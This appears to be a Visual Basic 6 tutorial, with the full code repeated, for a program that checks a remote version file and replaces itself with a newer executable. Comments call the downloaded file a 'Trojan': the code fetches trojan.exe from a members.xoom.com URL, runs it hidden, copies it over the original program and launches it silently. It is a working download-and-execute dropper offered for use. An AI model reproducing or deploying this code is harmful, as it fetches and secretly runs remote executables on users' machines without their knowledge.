Public Function Download(cTempFile As String, cURLFile As String) As Boolean
On Error GoTo DownloadError Dim b() As Byte ' Make Temp File Name Open cTempFile For Binary Access Write As #1 ' Download File b() = Inet1.OpenURL(cURLFile, icByteArray) Put #1, , b() Close #1 ' Transfer Success ! Download = True Exit Function DownloadError: ' Transfer Error ! Download = False End Function We needs make a CONST, for define your last files version. If your program is changed, always do you need change the CONST too ... and Insert the same version number inside a FILE.TXT Const MY_VERSION = 1.05 Now... go to Update function. This function, return TRUE if need update or FALSE if not. Public Function Update() As Boolean On Error Resume Next Dim lReturn As Boolean Dim cVersion As String ' Initialization lReturn = False ' Download FILE.TXT If Download( "c:\temp.txt", "http://members.xoom.com/xyz/file.txt <http://members.xoom.com/xyz/arquivo.txt>" ) Then ' Get the Version Open "c:\temp.txt" For Input As #1 Line Input #1, cVersion Close #1 ' Delete Temporary File Kill "c:\temp.txt" ' Need Update ? If cVersion <> "" And MY_VERSION < cVersion Then ' Download the Trojan lReturn = Download( "c:\temp.exe", "http://members.xoom.com/xyz/trojan.exe <http://members.xoom.com/xyz/arquivo.txt>" ) Endif Endif ' Return Update = lReturn End Function Now... In the Form_Load() function, insert the code: Option Explicit Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long Private Sub Form_Load() Dim cEXEName As String Dim cOldFile As String ' Get the Command Line cOldFile = Command() If cOldFile <> "" Then ' Is a Valid File ? If Dir( cOldFile ) <> "" Then ' Get the Full EXE Path cEXEName = App.Path If Right$( cEXEName, 1 ) <> "\" Then cEXEName = cEXEName + "\" End If cEXEName = cEXEName + App.EXEName + ".exe" ' Copy the New Version over old... SetAttr cOldFile, vbNormal CopyFile cEXEName, cOldFile, False ' Start the New Program Shell cOldFile, vbHide ' End Temporary File End End If Else ' Delete Temporary File... If Exist If Dir( "c:\temp.exe" ) <> "" Then SetAttr "c:\temp.exe", vbNormal Kill "c:\temp.exe" End If End If End Sub In the Command1_Click() Event, insert the code: Private Sub Command1_Click() Dim cEXEName ' Need Update? If Update() Then ' Get the Full EXE Path cEXEName = App.Path If Right$( cEXEName, 1 ) <> "\" Then cEXEName = cEXEName + "\" End If cEXEName = cEXEName + App.EXEName + ".exe" ' Start the Program Shell "c:\temp.exe " + cEXEName, vbHide ' Teminate End End If End Sub I'm repeating the full code here: Option Explicit Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" _ (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, _ ByVal bFailIfExists As Long) As Long Const MY_VERSION = 1.05 Public Function Update() As Boolean On Error Resume Next Dim lReturn As Boolean Dim cVersion As String ' Initialization lReturn = False ' Download FILE.TXT If Download( "c:\temp.txt", "http://members.xoom.com/xyz/file.txt <http://members.xoom.com/xyz/arquivo.txt>" ) Then ' Get the Version Open "c:\temp.txt" For Input As #1 Line Input #1, cVersion Close #1 ' Delete Temporary File Kill "c:\temp.txt" ' Need Update ? If cVersion <> "" And MY_VERSION < cVersion Then ' Download the Trojan lReturn = Download( "c:\temp.exe", "http://members.xoom.com/xyz/trojan.exe <http://members.xoom.com/xyz/arquivo.txt>" ) Endif Endif ' Return Update = lReturn End Function Public Function Download(cTempFile As String, cURLFile As String) As Boolean On Error GoTo DownloadError Dim b() As Byte ' Make Temp File Name Open cTempFile For Binary Access Write As #1 ' Download File b() = Inet1.OpenURL(cURLFile, icByteArray) Put #1, , b() Close #1 ' Transfer Success ! Download = True Exit Function DownloadError: ' Transfer Error ! Download = False End Function Private Sub Form_Load() Dim cEXEName As String Dim cOldFile As String ' Get the Command Line cOldFile = Command() If cOldFile <> "" Then ' Is a Valid File ? If Dir( cOldFile ) <> "" Then ' Get the Full EXE Path cEXEName = App.Path If Right$( cEXEName, 1 ) <> "\" Then cEXEName = cEXEName + "\" End If cEXEName = cEXEName + App.EXEName + ".exe" ' Copy the New Version over old... SetAttr cOldFile, vbNormal CopyFile cEXEName, cOldFile, False ' Start the New Program Shell cOldFile, vbHide ' End Temporary File End End If Else ' Delete Temporary File... If Exist If Dir( "c:\temp.exe" ) <> "" Then SetAttr "c:\temp.exe", vbNormal Kill "c:\temp.exe" End If End If ' Insert your code ... ' ... ' ... ' ... End Sub Private Sub Command1_Click() Dim cEXEName ' Need Update? If Update() Then ' Get the Full EXE Path cEXEName = App.Path If Right$( cEXEName, 1 ) <> "\" Then cEXEName = cEXEName + "\" End If cEXEName = cEXEName + App.EXEName + ".exe" ' Start the Program Shell "c:\temp.exe " + cEXEName, vbHide ' Teminate End End If End Sub |